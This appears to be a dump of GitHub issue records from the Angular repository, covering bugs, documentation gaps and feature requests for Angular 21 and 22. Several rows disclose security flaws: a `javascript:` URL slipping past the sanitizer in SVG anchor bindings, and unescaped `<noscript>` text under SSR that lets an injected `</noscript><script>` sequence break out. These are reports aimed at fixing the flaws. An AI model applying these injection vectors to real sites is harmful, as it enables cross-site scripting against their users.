So in this example the other decides for goal points. Then the pointsSchema (could be required counter or a min of 10) should be applied. If the user selects something else this should be disabled -> Validation will be disabled.

```
interface MyForm {
   goal: {
    decision: 'points' | 'cards';
  }
  points: {
    counter: number;
  }
}

export const mySchema = 
  schema<MyForm>((schema) => {
    const decision = schema.goal.decision;

    disabled(schema.points, {
      when: ({ valueOf }) => valueOf(decision) !== 'points',
    });
    applyWhen(
      schema.points,
      ({ valueOf }) => valueOf(decision) === 'points',
      pointsSchema,
    );
  });
```

### Proposed solution

valueOf can be part of schema at the top or applyWhen should have an else part or can contain options (in this case to disable the schema)

### Alternatives considered

-","area: forms,needs: clarification,forms: signals",2026-06-05T10:17:07Z,2026-06-09T19:07:58Z,3
angular/angular,4595464276,Bug: [animate.enter] fires during SSR hydration on elements already present in server-rendered HTML,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using Angular SSR, elements inside @if blocks that use the new [animate.enter] binding incorrectly trigger their enter animation during client-side hydration — even though those elements were already present and visible in the server-rendered HTML.

**Actual Behavior**
The enter-animation class is applied during hydration, causing a jarring flash/expand animation on every page load — even though the content was already visible from SSR. This makes [animate.enter] effectively unusable in any SSR + hydration context where the initial state is true.

**Expected Behavior**
Elements already present in the server-rendered DOM at hydration time should not trigger [animate.enter]. Enter animations should only fire when an element is genuinely inserted into the DOM as a result of a state change after hydration is complete.

### Please provide a link to a minimal reproduction of the bug

https://github.com/eneajaho/hydration-animate

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Latest Angular 22.
```

### Anything else?

_No response_","area: server,gemini-triaged",2026-06-05T08:24:07Z,2026-06-15T17:52:08Z,4
angular/angular,4595309613,NG0600 is missing from error enclyclopedia,"### Describe the problem that you experienced

NG0600 (Writing to signals is not allowed in a `computed`) is missing from https://angular.dev/errors

### Enter the URL of the topic with the problem

https://angular.dev/errors

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-06-05T08:00:06Z,2026-06-05T08:53:40Z,2
angular/angular,4594626956,v22 Migration failed,"### Command

update

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

Upgrading to angular 22, using `ng update @angular/core@22 @angular/cli@22`, I encounter an error when migrations start, which I have so far been unable to bypass. 

> ❯ Adds `ChangeDetectionStrategy.Eager` to all components.
✖ Migration failed: Path ""app/app.ts"" does not exist.
  See ""C:\Users\Doug\AppData\Local\Temp\ng-QzzQ4W\angular-errors.log"" for further details.


### Minimal Reproduction

This is reproducible since this is an open source repository. The branch is here:
https://github.com/factoriolab/factoriolab/tree/next


### Your Environment

```text
Angular CLI       : 21.2.10
Angular           : 21.2.12
Node.js           : 24.16.0
Package Manager   : npm 11.13.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.10           │ ^21.2.10          │
│ @angular/cdk              │ 21.2.10           │ ^21.2.10          │
│ @angular/cli              │ 21.2.10           │ ^21.2.10          │
│ @angular/common           │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler         │ 21.2.12           │ ^21.2.12          │
│ @angular/compiler-... [TRUNCATED]",area: migrations,2026-06-05T04:19:02Z,2026-06-05T14:22:24Z,3
angular/angular,4592051214,Zoneless: initial paint of components can occur before bindings are applied to attributes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using `provideZonelessChangeDetection()`, Angular appears to paint newly navigated components before bindings have been applied. A subsequent update then applies the correct classes, attributes, and property bindings.

The resulting DOM state is correct, but because the browser has already painted the initial HTML, CSS transitions can be triggered from the unbound state to the bound state.

### Reproduction

1. Navigate between **Home** and **Other** (only happens when visiting a page after the first time).

The example contains three disabled buttons:

* One button is rendered as static HTML and behaves correctly.
* Two buttons derive their disabled state from Angular bindings and demonstrate the issue.

### Current behavior

During navigation (zoneless) all three buttons should set the disabled attribute from the very first frame they exist. However the two buttons using host bindings appear enabled, but slowly fade to the grey disabled appearance in lockstep.

### Expected behavior

Bindings, classes and attributes should be reflected in the DOM before the first visible paint of a newly rendered view. Elements that are logically disabled from their first frame should never visibly transition from an enabled appearance to a disabled appearance as a result of Angular applying initial bindings after paint.

### Please provide a link to a minimal reproduction ... [TRUNCATED]","area: core,core: change detection",2026-06-04T20:45:07Z,2026-06-05T06:21:38Z,4
angular/angular,4591805116,Security: dom_security_schema.ts URL list missing 12+ attribute pairs,"[attr.X] binding bypasses URL sanitizer for SVG use/image/feImage, media audio/source/track, video poster, legacy background attrs, img srcset. Related: CVE-2026-22610, CVE-2026-27970, CVE-2026-32635.",area: security,2026-06-04T20:05:39Z,2026-06-04T22:15:34Z,1
angular/angular,4591805021,Security: i18n attribute binding bypasses RESOURCE_URL sanitizer (incomplete CVE-2026-32635 fix),"TRUSTED_TYPES_SINKS missing base|href, link|href, frame|src. Compiler accepts i18n bindings on these while [href] binding throws NG0904.","area: security,gemini-triaged",2026-06-04T20:05:38Z,2026-06-04T21:22:49Z,1
angular/angular,4591204086,Broken v22 event link and duplicate-titled results in search,"### Describe the problem that you experienced

Two things happen when searching `v22` in search (shown in the video below).

1. The result for the v22 event page leads to a Page Not Found.
2. Several results all show the title ""Angular v22 is here!"" while each points to a different link.

https://github.com/user-attachments/assets/98cedbfc-2ca0-4afb-972a-ba32f346fe91","area: docs-infra,gemini-triaged",2026-06-04T18:28:03Z,2026-06-10T18:27:50Z,4
angular/angular,4587721380,feat: Stronger official support for critical ecosystem tooling during major Angular releases (eg angular-eslint),"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I’d like to raise a recurring concern regarding ecosystem tooling alignment with Angular major releases, in particular tools like [angular-eslint](https://github.com/angular-eslint/angular-eslint).

With each Angular major release, some critical ecosystem packages (such as `angular-eslint`) tend to remain tied to the previous major version for a period of time before full compatibility is available.

This creates a temporary gap where:
- Angular is upgraded, but linting/tooling support lags behind;
- teams are forced to delay upgrades or run mismatched versions;




### Proposed solution

It would be very valuable if the Angular team could take a more active role in supporting and maintaining the **most critical** ecosystem tools, especially around major releases, directly contributing to or co-maintaining key tooling.

### Alternatives considered

nope

see https://github.com/angular-eslint/angular-eslint/issues/3052","area: dev-infra,gemini-triaged",2026-06-04T10:00:12Z,2026-06-04T12:10:04Z,2
angular/angular,4587209243,Angular Language Service should allow using workspace TypeScript version instead of forcing bundled TS 6,"### Is this a bug report or a feature request?

- [ ] Bug Report
- [x] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

_No response_

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

_No response_

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Description [Feature Request only]

## Description

After upgrading Angular Language Service to v22.0.0, the extension now bundles and forces TypeScript 6.0, ignoring the workspace TypeScript version configured in VSCode (`typescript.tsdk`).

This breaks compatibility with older Angular projects (e.g. Angular 14), which depend on specific TypeScript versions (e.g. 4.7.4).

Previously, the extension respected the workspace TypeScript version.

### Proposed solution [Feature Request only]

## Expected behavior

Angular Language Service should:

- Allow using the workspace TypeScript version (like the built-in TS/JS extension)
- Respect `typescript.tsdk` setting
- Or provide a setting to select:
  - Bundled TypeScript
  - Workspace TypeScript

---

## Actual behavior

- Extension always uses bundled TypeScript 6.0
- Ignores workspace TypeScript (even when `typescript.tsdk` is set)
- Causes type errors in older Angular versions that were not present before

### Alternatives considered [Feature Request only]

_No response_","area: language-service,gemini-triaged",2026-06-04T08:41:04Z,2026-06-05T17:43:07Z,3
angular/angular,4582535596,releases.md support table does not yet list v22,"### Describe the problem that you experienced

I noticed the ""Actively supported versions"" table in `adev/src/content/reference/releases.md` still tops out at v21:

| Version | Status | Released   | Active ends | LTS ends   |
| ------- | ------ | ---------- | ----------- | ---------- |
| ^21.0.0 | Active | 2025-11-19 | 2026-05-19  | 2027-05-19 |
| ^20.0.0 | LTS    | 2025-05-28 | 2025-11-19  | 2026-11-28 |

There's no `^22.0.0` row yet, and v21 still shows as Active. I see `versions.json` and `reference/versions.md` already mention v22, so I wasn't sure if this table is updated on a different cadence or just hasn't been refreshed yet.

Totally fine if it's already on your list, just wanted to flag it in case it helps.

Congrats on the v22 release, and thanks for all the work that goes into each one!","area: docs,gemini-triaged",2026-06-03T18:20:55Z,2026-06-03T20:56:21Z,1
angular/angular,4581646589,Outdated Version Banner on Documentation Site,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

The documentation header displays an outdated announcement banner (""Angular v21 is here!"") while the user is explicitly viewing the v22 version of the documentation.

Steps to Reproduce:
1- Navigate to the Angular documentation website.
2- Ensure the version selector in the sidebar/navigation is set to v22.
3- Observe the announcement banner at the top of the main content area.

Expected Behavior:
The banner should reflect the current major release context. If the user is on the v22 documentation, the banner should either:

- Welcome them to v22.
- Highlight v22 features.
- Be hidden if there is no current announcement for v22.

Suggested Fix: Update the banner component's conditional rendering or content source to dynamically check the active documentation version, ensuring outdated release announcements are suppressed or updated when a newer major version is selected.

<img width=""605"" height=""143"" alt=""Image"" src=""https://github.com/user-attachments/assets/589585c3-5152-44cf-89f8-21939156f1ab"" />

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/

### Please provide the exception or error you saw

```true
Actual Behavior
The banner incorrectly promotes the previous version:

""Angular v21 is here! 🕹️ Start your adventure""

Visual Evidence
Version Dropdown: Displays v22

Banner Text: Displays Angular v21 is here!
... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-06-03T16:15:53Z,2026-06-03T16:18:47Z,1
angular/angular,4570204570,Colocating ControlValueAccessor and FormCheckboxControl does not seem to work,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When creating a component that supports both reactive forms and signals, Trying to update the form signal fails. Removing all content about form controls then seem to work without issues.

Here is the downloaded artifact from the angular.dev playground with all files required

[playground_0-hello-world.zip](https://github.com/user-attachments/files/28502332/playground_0-hello-world.zip)

Otherwise, just write this file [at playground](https://angular.dev/playground?templateId=0-hello-world) : 

```typescript
import { bootstrapApplication } from '@angular/platform-browser';
import {
  afterNextRender,
  ChangeDetectionStrategy,
  Component,
  DestroyRef,
  inject,
  linkedSignal,
  model,
  signal
} from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { ControlValueAccessor, NgControl } from '@angular/forms';
import { FormCheckboxControl, form, FormField } from '@angular/forms/signals';

@Component({
  selector: 'tds-toggle',
  imports: [],
  template: `
    <div class=""tds-toggle-inner"">
      <div class=""tds-toggle-thumb""></div>
    </div>
  `,
  styles: `
    :host {
      --tds-toggle-inner-width: 2.25rem;
      --tds-toggle-inner-height: 0.75rem;
      --tds-toggle-thumb-size: 1.25rem;
      --tds-toggle-inner-color: grey;

      height: var(--tds-toggle-thumb-size);
      width: calc(var(--tds-toggle-inner-width) + (v... [TRUNCATED]","area: forms,gemini-triaged",2026-06-02T09:30:06Z,2026-06-04T14:31:51Z,6
angular/angular,4561892210,Consistent 'when' availability on build-in Signal Forms validators,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently, only the `required` validator has a `when`property.
For other ones, we have to rely on `applyWhen` to do about the same.

Is there a reason for `required`having this specific behavior?

### Proposed solution

Having `when` exposed to all built-in validators would enhance the dev experience and make its usage consistent.

### Alternatives considered

Remove on `required` :D","area: forms,gemini-triaged",2026-06-01T09:24:01Z,2026-06-01T09:27:56Z,0
angular/angular,4561102136,"isDevMode() is still true, after calling enableProdMode()","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

After updating Angular from **21.1.2** to **21.2.13** `isDevMode()` stopped working properly. In my code I'm calling `enableProdMode()`. After this I expect `isDevMode()` to return false. It does this in Angular **21.1.2**, but in **21.2.13** it returns true.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

There is now error, its just not working.

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.11
Angular           : 21.2.13
Node.js           : 24.15.0
Package Manager   : npm 11.12.1
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.2.13           │ 21.2.13           │
│ @angular/build                    │ 21.2.11           │ ^21.2.11          │
│ @angular/cdk                      │ 21.2.11           │ 21.2.11           │
│ @angular/cli                      │ 21.2.11           │ 21.2.11           │
│ @angular/common                   │ 21.2.13           │ 21.2.13           │
│ @angular/compiler                 │ 21.2.13           │ 21.2.13           │
│ @angular/c... [TRUNCATED]","needs reproduction,area: core",2026-06-01T07:14:01Z,2026-06-04T14:31:20Z,8
angular/angular,4559688240,Scroll root on body causes 8 px gutter flicker (safari),"### Describe the problem that you experienced

### Problem
On Safari (desktop - tested on OS 26) - The original shell sets overflow: hidden on body to lock scroll when the mobile nav opens. This removes the scrollbar, causing an 8 px layout shift as the scrollbar gutter disappears. This instantly changes the viewport width, which:

- Triggers CSS media query breakpoint changes mid-animation
- Causes content to reflow and jump
- Is especially severe on Safari, where body is the scroll root by default

Here are 2 images to show the bug:
Note the top image gives one width, when enabling the menu and hiding the scrollbar, the second shows the new width which triggers the 700px media query with a new reported width.
<img width=""814"" height=""843"" alt=""Image"" src=""https://github.com/user-attachments/assets/0f3c511d-4bb8-4c94-af01-b24ca598b029"" />
<img width=""814"" height=""843"" alt=""Image"" src=""https://github.com/user-attachments/assets/3b5232cb-edc9-48ac-8750-a4f636920b0f"" />

### Enter the URL of the topic with the problem

https://angular.dev

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

I was testing another bug when setting to 700px exactly would expose a previous media query collision.

### Describe what you want to experience that would fix the problem

Move the scroll root from body to html by setting overflow-y: scroll on the html element. The persistent overflow-y: scroll keeps th... [TRUNCATED]","open for contributions,area: docs-infra",2026-06-01T01:26:49Z,2026-06-12T16:19:35Z,4
angular/angular,4557298337,Question about contributing,Hi from DEATHLEGION Sri Lanka! Great project. I would like to contribute. Is there a good first issue label available? Thank you!,"area: docs,gemini-triaged",2026-05-31T10:45:56Z,2026-05-31T21:32:00Z,4
angular/angular,4552759496,at exactly 700px the navigation structure breaks in _media-queries.scss,"### Describe the problem that you experienced

At 699px or 701px, the navigation behaves correctly. The issue happens specifically at exactly 700px, where the CSS media queries and TypeScript breakpoint logic appear to collide.

The problem is tied to the expanded/open navigation state at the 700px breakpoint.

The current 0.01px gap approach in the media queries is fragile at exact pixel boundaries. At exactly 700px, some browsers may evaluate min-width: calc(700px + 0.01px) as matching while max-width: 700px is also still active. This can cause both the phone and tablet rules to apply at the same time.

When the nav is open at exactly 700px, the two layout states conflict:

Phone rules: max-width: 700px
Primary nav becomes a position: absolute sidebar sliding in from the left.
Secondary nav host shifts over by 82px.
Tablet rules: min-width: 700.01px
Primary nav becomes a horizontal row.
Secondary nav becomes a fixed sidebar positioned at left: 0.

The fix is to replace the 0.01px breakpoint gaps with a clean 1px boundary. In other words, keep the phone rules at max-width: 700px, and start the tablet rules at min-width: 701px.

This removes the exact-pixel overlap and prevents both expanded navigation states from being applied simultaneously.

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe wh... [TRUNCATED]","area: core,gemini-triaged",2026-05-30T01:41:26Z,2026-06-01T01:16:09Z,0
angular/angular,4547482971,wrong link in roadmap page,"### Describe the problem that you experienced

in roadmap page, when i click the Improve debugging with better Angular error messages card i get page not found
<img width=""200"" height=""200"" alt=""Image"" src=""https://github.com/user-attachments/assets/9228a4b4-8e35-4a21-9b0e-4e3c5e562715"" />

<img width=""300"" height=""200"" alt=""Image"" src=""https://github.com/user-attachments/assets/f739ad7a-bf70-4aa7-bb80-2e6b16f50d11"" />

https://angular.dev/roadmap 

### Enter the URL of the topic with the problem

_No response_

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-05-29T09:50:14Z,2026-06-01T10:17:00Z,0
angular/angular,4543831202,`.hasMetadata(...)` is not found in FieldState object,"### Describe the problem that you experienced

In [this page](https://angular.dev/guide/forms/signals/field-metadata#reading-metadata-from-a-field) is explained how to use the `hasMetadata`, but when I navigate to the [FieldState](https://angular.dev/api/forms/signals/FieldState) documentation, the `hasMetadata()` method is not there. 

Also, using the last stable version `21.2.15`, I can't find this method too: 
<img width=""1147"" height=""241"" alt=""Image"" src=""https://github.com/user-attachments/assets/cfceb711-19ee-4c88-8091-bdd9d333e51b"" />

the `ng version` output:

npx ng version

     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/
    

Angular CLI       : 21.2.13
Angular           : 21.2.15
Node.js           : 22.19.0
Package Manager   : npm 10.9.3
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.13           │ ^21.1.4           │
│ @angular/cli              │ 21.2.13           │ ^21.1.4           │
│ @angular/common           │ 21.2.15           │ ^21.1.0           │
│ @angu... [TRUNCATED]","open for contributions,gemini-triaged",2026-05-28T21:07:27Z,2026-06-01T09:57:10Z,2
angular/angular,4541124000,WKWebView / iOS Safari crash (“A problem repeatedly occurred”) on Angular 18 SSR application loading/boot,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description


We are running a production Angular 18 application with Server-Side Rendering (SSR) and Client Hydration enabled. It works flawlessly across most desktop and Android browsers.

However, on a subset of iPhone devices (specifically running within an iOS app’s embedded WKWebView / Facebook browser, and occasionally on standalone iOS Safari), the application crashes immediately upon loading.

The browser completely stops executing and shows the default iOS error page:

Observed Behavior
The server-rendered page is successfully retrieved and renders briefly (for a fraction of a second).

As soon as the client bundle loads, bootstraps, and begins hydration/initialization, the entire WebView/browser engine crashes.

The crash is not tied to one specific page; it happens both on the homepage (after login) and on static routes like /forgot-password.

Console logging via remote debugging (Safari Web Inspector) is extremely difficult to capture because the browser engine crashes completely before logs can be flushed.

Sanitized Project Configuration and Code
To help diagnose, here is our boot and runtime setup:

1. Angular Application Configuration (app.config.ts)
We use standalone API with provideClientHydration() and routing configurations.

typescriptimport { APP_INITIALIZER, ApplicationConfig, ErrorHandler, provideZoneChangeDetection } from '@angular/core... [TRUNCATED]","needs reproduction,area: server,gemini-triaged",2026-05-28T14:17:37Z,2026-05-30T20:21:46Z,2
angular/angular,4541038448,Infinite change detection silently hangs the app instead of throwing NG0103,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

With a zone-based change detection, this loops change detection indefinitely:

```ts
@Component({
  selector: 'app-child',
  template: `<p>Numbers: {{ numbers() }}</p>`,
})
export class Child {
  numbers = input.required<number[]>();

  constructor() {
    effect(() => {
      console.log(this.numbers());
      // Async tick
      setTimeout(() => {});
    });
  }
}

@Component({
  selector: 'app-root',
  imports: [Child],
  template: `<app-child [numbers]=""numbersBiggerThan2"" />`,
})
export class App {
  private numbers = [0, 1, 2, 3, 4, 5];

  // New array reference on every read
  get numbersBiggerThan2(): number[] {
    return this.numbers.filter((n) => n > 2);
  }
}
```

Such a bug is quite hard to debug, in bigger apps it can cause a browser tab to hang. It'd be great if this could be detected during the compilation or on a dev server. NG0103 error seems related.

### Minimal reproduction repo:

https://github.com/lukasmatta/angular-cd-infinite-loop

Version:
```true
Angular: 21.2.14
```
","area: core,gemini-triaged",2026-05-28T14:06:13Z,2026-05-28T14:29:55Z,1
angular/angular,4538859063,Defs tags inside svg are stripped after updating to Angular v20.3.22,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

After updating my application to the latest v20 version (v20.3.22). I see that the icons inside my application are not rendered correctly anymore.

While debugging I see that the style tag inside <defs> are gone.

This is the actual svg that is implemented in my application's code:

```html
<svg xmlns=""http://www.w3.org/2000/svg"" viewBox=""0 0 16 16"">
    <g transform=""matrix(0.6666666666666666,0,0,0.6666666666666666,0,0)"">
      <defs>
        <style>
          .a {
            fill: none;
            stroke: currentColor;
            stroke-linecap: round;
            stroke-linejoin: round;
          }
        </style>
      </defs>
      <rect class=""a"" x=""0.5"" y=""2.501"" width=""23"" height=""21"" rx=""1"" ry=""1""></rect>
      <line class=""a"" x1=""5.5"" y1=""0.501"" x2=""5.5"" y2=""5.501""></line>
      <line class=""a"" x1=""18.5"" y1=""0.501"" x2=""18.5"" y2=""5.501""></line>
      <line class=""a"" x1=""0.5"" y1=""7.501"" x2=""23.5"" y2=""7.501""></line>
    </g>
  </svg>
```


When viewing the elements inside my devtools I see this:

```html
<svg _ngcontent-ng-c796660766="""" xmlns=""http://www.w3.org/2000/svg"" viewBox=""0 0 16 16"">
    <g _ngcontent-ng-c796660766="""" transform=""matrix(0.6666666666666666,0,0,0.6666666666666666,0,0)"">
        <defs _ngcontent-ng-c796660766=""""></defs>
        <rect _ngcontent-ng-c796660766="""" x=""0.5"" y=""2.501"" width=""23"" height=""21"" rx=""1"" ry=""1""
            c... [TRUNCATED]","regression,area: security,state: has PR",2026-05-28T08:19:09Z,2026-05-28T12:02:49Z,0
angular/angular,4538654034,Angular DevTools: add angular-scan for automatically detects and highlights Angular components that are re-rendering,"### Description

angular-scan: automatically detects and highlights Angular components that are re-rendering
https://www.npmjs.com/package/angular-scan

[Live DEMO](https://husseinabdelaziz.github.io/angular-scan/)
<img src=""https://raw.githubusercontent.com/husseinAbdElaziz/angular-scan/main/projects/angular-scan/demo.gif"">

### Proposed solution

Add [angular-scan](https://www.npmjs.com/package/angular-scan) into [DevTools](https://chromewebstore.google.com/detail/angular-devtools/ienfalfjdbdpebioblfackkekamfmbnh)","area: devtools,gemini-triaged",2026-05-28T07:44:15Z,2026-05-28T23:42:19Z,0
angular/angular,4532197811,move WebCMP from navigator to document API,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

From the Built-in AI Early Preview Program:

To align with the fact that tools are effectively per-Document, the WebML CG agreed to move the modelContext getter from the Navigator interface to the Document interface. You can find the full technical details in [Issue 173](https://github.com/webmachinelearning/webmcp/issues/173) and [PR #184](https://github.com/webmachinelearning/webmcp/pull/184).


navigator.modelContext is now deprecated as of [Chrome 150.0.7861.0](https://chromiumdash.appspot.com/commit/4ff73984e9e60c6117066dea1806879e40c107e2) and will be removed in a future Chrome release.
Use document.modelContext instead.


### Proposed solution

Recommandations:

We (the Built-in AI Early Preview Program) suggest using the feature detection pattern shown below to maintain compatibility and ensure a smooth transition over the coming releases. For practical examples, see how we updated our WebMCP demos in [PR #189](https://github.com/GoogleChromeLabs/webmcp-tools/pull/189/changes).

```
const modelContext = document.modelContext || navigator.modelContext;

if (modelContext) {

  // Register tools...

}
```

### Alternatives considered

No","area: core,gemini-triaged",2026-05-27T12:12:42Z,2026-06-01T16:49:08Z,0
angular/angular,4519624348,Security regression: SVG <a [attr.href]> skips URL sanitizer in 22.0.0-rc.1 (@next) and main HEAD,"### Which @angular/* package(s) are the source of the bug?

compiler, core

### Is this a regression?

Yes

### Description

## TLDR

After the namespace-aware schema lookup refactor on `main` (commits `cef4a095`, `61a97f22`, `933608c0`), the security schema lookup for `<svg><a [attr.href]>` returns `SecurityContext.NONE` instead of `SecurityContext.URL`. The compiler emits `ɵɵattribute(""href"", value)` **without** the `ɵɵsanitizeUrl` wrap. Same template on `22.0.0-rc.0` emitted the sanitizer correctly.

**As of 2026-05-25 the bug is present in `@angular/compiler@22.0.0-rc.1` published on npm with the `@next` dist-tag** — confirmed by fresh empirical compile (witness below). Anyone running `npm install @angular/compiler@next` is exposed.

End result on a built app : a `<svg><a [attr.href]=""userHref"">` binding accepts a `javascript:` URL verbatim and writes it to the DOM `href` attribute. A user click navigates to the `javascript:` URL → script execution in the app's origin → XSS in modern Chrome.

This is the same class of bug that CVE-2025-66412 closed for MathML `<mi href>`, re-introduced for SVG anchors by the schema rework.

## Affected commits

| SHA | Title |
|---|---|
| `cef4a095` | refactor(core): align namespaced attribute validation and security schema contexts |
| `61a97f22` | fix(core): support prefix-insensitive DOM schema lookups |
| `933608c0` | fix(core): synchronize core sanitization schema with compiler |

After the refactor, `calcPossibleSecurityContexts` pr... [TRUNCATED]","regression,security,state: has PR",2026-05-25T21:28:21Z,2026-05-27T20:41:09Z,2
angular/angular,4519080128,"docs: ""Best Practices > Accessibility"" missing mention of Angular Aria","### Describe the problem that you experienced

The ""Best Practices > Accessibility"" page is missing a mention of Angular Aria. 

### Enter the URL of the topic with the problem

https://next.angular.dev/best-practices/a11y

### Describe what you were looking for in the documentation

I would assume with the package going stable that there would be a mention in that page.

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Some reference to the Angular Aria package and its documentation is warranted on this greater Accessibility page. That said, there is a lot of ways this could be handled on that page, otherwise I would make a PR.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-05-25T19:22:32Z,2026-06-01T16:33:32Z,0
angular/angular,4515043088,CdkConnectedOverlay,"### Describe the problem that you experienced

https://angular.dev/api/cdk/overlay/CdkConnectedOverlay  page not found  

where is this page ??

### Enter the URL of the topic with the problem

https://angular.dev/api/cdk/overlay/CdkConnectedOverlay

### Describe what you were looking for in the documentation

 page not found

### Describe the actions that led you to experience the problem

Positioning
link
The multiselect pattern integrates with [CDK Overlay](https://angular.dev/api/cdk/overlay/CdkConnectedOverlay) for smart positioning. Use cdkConnectedOverlay to handle viewport edges and scrolling automatically.

ingear we cick the   [CDK Overlay](https://angular.dev/api/cdk/overlay/CdkConnectedOverlay)   thare is no page thair 

<img width=""1223"" height=""343"" alt=""Image"" src=""https://github.com/user-attachments/assets/1e5613bf-98ca-4c9a-bab7-40f442519c20"" />
<img width=""1084"" height=""290"" alt=""Image"" src=""https://github.com/user-attachments/assets/7032cc55-33e0-4e5c-a8e6-ff360abb24f5"" />

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-05-25T07:13:44Z,2026-05-27T17:48:42Z,0
angular/angular,4513963494,confirm the support timeline for Angular v21—specifically when it enters LTS,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hi Angular team, could you confirm the support timeline for Angular v21—specifically when it enters LTS (if applicable) according to the current Angular support policy? Any link to the official schedule would be appreciated.


### Proposed solution

confirm the support timeline for Angular v21—specifically when it enters LTS

### Alternatives considered

confirm the support timeline for Angular v21—specifically when it enters LTS","area: docs,gemini-triaged",2026-05-25T03:08:35Z,2026-05-25T09:52:35Z,2
angular/angular,4509714173,`<noscript>` text serialization in Angular SSR,"### Which @angular/* package(s) are the source of the bug?

platform-server/domino

### Is this a regression?

No

### Description

When Angular SSR (`@angular/platform-server`, which uses `@angular/domino`) renders text inside a `<noscript>` element via `{{ value }}` or `[textContent]`, the value is written to the SSR response **without escaping**.

If the value contains `</noscript>`, the noscript element closes early in the HTML sent to the browser, and any markup after it  including `<script>` is parsed and executed normally, same-origin.

Text bindings (`{{ }}`, `[textContent]`) are assumed safe by developers. They are not safe inside `<noscript>` under SSR.

","security,area: security",2026-05-23T21:57:00Z,2026-05-26T15:28:46Z,0
angular/angular,4503508879,Consider adding explicit imports for effect() in Signals docs,"### Describe the problem that you experienced

Hi Angular team,

I noticed that in the Signals documentation, examples using `effect()` don't explicitly show the import source (for example `import { effect } from '@angular/core'`).

Example page:
https://angular.dev/guide/signals/effect#effects

While the concise snippets are nice, it may be slightly harder for newer developers to immediately identify which package exports `effect`, especially when learning Signals for the first time.

Would the team be open to a small docs improvement PR that either:

* adds explicit imports in the first example on the page, or
* includes a short note mentioning that `effect`, `signal`, and `computed` come from `@angular/core`?

Happy to contribute if this aligns with the docs direction. Thanks!


### Enter the URL of the topic with the problem

https://angular.dev/guide/signals/effect#effects

### Describe what you were looking for in the documentation

I was looking for the package/module import source for `effect()` while learning Angular Signals. The examples show usage of `effect()` directly, but not where it is imported from (for example `@angular/core`).


### Describe the actions that led you to experience the problem

1. Opened the Angular Signals Effects documentation page.
2. Read the examples using `effect()`.
3. Tried to identify the import source/package for `effect()`.
4. Noticed the examples did not include an import statement or mention that `effect` comes from `@angular/cor... [TRUNCATED]","state: has PR,area: docs,gemini-triaged",2026-05-22T14:47:25Z,2026-05-27T18:08:51Z,2
angular/angular,4491805743,Automatic lock bot message says “issue” on Pull Requests,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

